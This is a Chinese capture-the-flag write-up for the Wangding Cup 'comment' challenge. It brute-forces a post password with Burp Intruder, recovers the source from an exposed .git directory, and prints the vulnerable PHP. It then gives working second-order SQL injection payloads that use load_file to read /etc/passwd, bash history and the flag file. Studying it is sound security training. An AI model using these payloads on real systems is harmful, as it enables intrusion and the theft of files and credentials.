目录
网鼎杯 comment
1.找到这个靶场
2.进入随便创建一个帖子
-
发现需要密码进入
3.发送到Burp抓包工具
-
将信息发送到intruder模块
-
设置好爆破位置,设置好爆破字典
-
开始爆破
-
我们简单的试起纯数字试试,发现再666的时候返回长度有变化
-
试试成功进入
4.无从下手扫一扫
-
使用dirmap扫描一下
-
发现一个野生的.git
5.用githacker将代码还原出来
-
在 write 这点看到这些输入字段特殊貌似都会加上反引号,看来这点的注入不行啦
-
看看传参
-
嗯,留言也用的content接受的
-
我们知道反引号在写入数据库时会被消除, comment而这里取值貌似没看见有过滤
-
这里呢我们是不是可以考虑在comment中实现一个闭合
-
$sql = "insert into comment set category = 'aa', content=user(), /*', // 这一行就等价于传入的category content = '*/#', //这里就是我们添加的留言 bo_id = '$bo_id'";
-
-
这样这个content就变成我们想要的sql语句
-
在评论区自然就把我们想要的东西查到了
-
理论可行试试
//write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
6.试试注入
-
可行
7.看看有些啥有用的东西
1.看看用户有哪些
-
发现有个www,嗯感觉很像web服务的进入看看
aa',content=(select(load_file("/etc/passwd"))),/*
2.看看/home/www 的历史
aa',content=(select(load_file("/home/www/.bash_history"))),/*
-
巴拉巴拉一顿看 咦她在删除一个文件,让我瞅瞅有啥见不得人的
3.看看删除的这个文件
aa',content=(select(load_file("/tmp/html/.DS_Store"))),/*
-
这是一堆啥,一定是我的打开方式不对
-
16进制启动
aa',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
-
转码后巴拉巴拉 发现有一个这玩意 flag_8946e1ff1ee3e40f.php,看看
4.去看看这玩意
-
结合历史命令 猜测在/var/www/html 下面
-
吸取教训,16进制启动
aa',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
-
转个码
拿下!!!